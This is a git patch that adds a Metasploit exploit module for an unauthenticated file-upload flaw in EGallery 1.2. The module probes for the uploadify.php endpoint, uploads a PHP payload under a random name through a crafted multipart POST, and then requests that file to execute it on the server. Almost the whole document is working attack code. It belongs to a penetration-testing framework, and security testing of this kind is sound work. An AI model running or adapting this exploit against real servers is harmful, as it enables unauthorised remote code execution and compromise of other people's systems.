From 2f66aa7c4fa9dc7eea1625c4e10dd239eeac063e Mon Sep 17 00:00:00 2001
From: jvazquez-r7 <juan.vazquez@metasploit.com>
Date: Sat, 21 Jul 2012 12:14:29 +0200
Subject: [PATCH] Added module for OSVDB 83891

---
 .../unix/webapp/egallery_upload_exec.rb       | 126 ++++++++++++++++++
 1 file changed, 126 insertions(+)
 create mode 100644 modules/exploits/unix/webapp/egallery_upload_exec.rb

diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb
new file mode 100644
index 0000000000..af325e392c
--- /dev/null
+++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb
@@ -0,0 +1,126 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "EGallery PHP File Upload Vulnerability",
+			'Description'    => %q{
+					This module exploits a vulnerability found in EGallery 1.2 By abusing the
+				uploadify.php file, a malicious user can upload a file to the egallery/ directory
+				without any authentication, which results in arbitrary code execution. The module
+				has been tested successfully on Ubuntu 10.04.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Sammy FORGIT', # Discovery, PoC
+					'juan' # Metasploit module
+				],
+			'References'     =>
+				[
+					['OSVDB', '83891'],
+					['BID', '54464'],
+					['URL', 'http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html']
+				],
+			'Payload'        =>
+				{
+					'BadChars' => "\x00"
+				},
+			'DefaultOptions'  =>
+				{
+					'ExitFunction' => "none"
+				},
+			'Platform'       => ['php'],
+			'Arch'           => ARCH_PHP,
+			'Targets'        =>
+				[
+					['EGallery 1.2', {}]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Jul 08 2012",
+			'DefaultTarget'  => 0))
+
+			register_options(
+				[
+					OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample'])
+				], self.class)
+	end
+
+	def check
+		uri = target_uri.path
+		uri << '/' if uri[-1,1] != '/'
+
+		res = send_request_cgi({
+			'method' => 'GET',
+			'uri'    => "#{uri}egallery/uploadify.php"
+		})
+
+		if res and res.code == 200 and res.body.empty?
+			return Exploit::CheckCode::Detected
+		else
+			return Exploit::CheckCode::Safe
+		end
+	end
+
+	def exploit
+		uri = target_uri.path
+		uri << '/' if uri[-1,1] != '/'
+
+		peer = "#{rhost}:#{rport}"
+		payload_name = rand_text_alpha(rand(10) + 5) + '.php'
+		boundary = Rex::Text.rand_text_hex(7)
+
+		post_data = "--#{boundary}\r\n"
+		post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n"
+		post_data << "#{payload_name}\r\n"
+		post_data << "--#{boundary}\r\n"
+		post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"
+		post_data << "#{uri}\r\n"
+		post_data << "--#{boundary}\r\n"
+		post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
+		post_data << "<?php "
+		post_data << payload.encoded
+		post_data << " ?>\r\n"
+		post_data << "--#{boundary}--\r\n"
+
+		print_status("#{peer} - Sending PHP payload (#{payload_name})")
+		res = send_request_cgi({
+			'method' => 'POST',
+			'uri'    => "#{uri}egallery/uploadify.php",
+			'ctype'  => "multipart/form-data; boundary=#{boundary}",
+			'data'   => post_data
+		})
+
+		# If the server returns 200 and the body contains our payload name,
+		# we assume we uploaded the malicious file successfully
+		if not res or res.code != 200 or res.body !~ /#{payload_name}/
+			print_error("#{peer} - File wasn't uploaded, aborting!")
+			return
+		end
+
+		print_status("#{peer} - Executing PHP payload (#{payload_name})")
+		# Execute our payload
+		res = send_request_cgi({
+			'method' => 'GET',
+			'uri'    => "#{uri}#{payload_name}"
+		})
+
+		# If we don't get a 200 when we request our malicious payload, we suspect
+		# we don't have a shell, either.  Print the status code for debugging purposes.
+		if res and res.code != 200
+			print_status("#{peer} - Server returned #{res.code.to_s}")
+		end
+	end
+
+end